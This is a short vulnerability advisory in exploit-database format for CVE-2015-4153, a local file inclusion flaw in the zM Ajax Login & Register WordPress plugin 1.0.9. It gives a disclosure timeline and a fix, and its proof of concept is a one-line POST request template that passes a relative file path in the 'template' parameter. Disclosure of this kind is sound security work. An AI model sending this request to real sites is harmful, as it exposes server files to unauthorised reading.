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CVE-2015-4153 - WordPress zM Ajax Login & Register Plugin [Local File Inclusion]



# Exploit Title: CVE-2015-4153 - WordPress zM Ajax Login & Register Plugin [Local File Inclusion]
# Date: 2015/06/01
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://zanematthew.com/
# Software Link: https://downloads.wordpress.org/plugin/zm-ajax-login-register.1.0.9.zip
# Version: 1.0.9
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4153

* Description

Any authenticated or non-authenticated user can perform a local file inclusion attack by exploiting the wp_ajax_nopriv_load_template action. Plugin simply includes the file specified in 'template' POST parameter without any further validation.

* Proof of Concept

Send a post request to `http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: `action=load_template&template=[relative path to local file]&security=[wp nonce]&referer=[action from which the nonce came from]`

* Timeline

2015/06/01 Discovered
2015/06/01 Vendor alerted via contact form at his website
2015/06/03 Vendor responded
2015/06/03 Fixed in version 1.1.0


* Solution 

Update to version 1.1.0